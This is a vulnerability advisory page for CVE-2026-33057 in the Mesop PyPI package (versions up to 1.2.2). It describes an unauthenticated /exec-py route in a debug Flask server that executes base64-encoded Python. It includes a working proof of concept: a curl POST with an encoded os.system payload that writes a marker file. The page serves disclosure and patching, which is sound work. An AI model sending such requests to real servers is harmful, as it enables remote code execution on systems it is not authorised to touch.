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Open-source package vulnerability · PyPI

CVE-2026-33057: Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

criticalCVSS 3.1 9.8GHSA-gjgx-rvqr-6w6v

Summary An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Published Mar 18, 2026 · Updated Mar 20, 2026

Affected packages

mesop

Ecosystem
PyPI
Affected
<= 1.2.2
Fixed in
1.2.3
Check
pip show mesop

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Credited to liyander.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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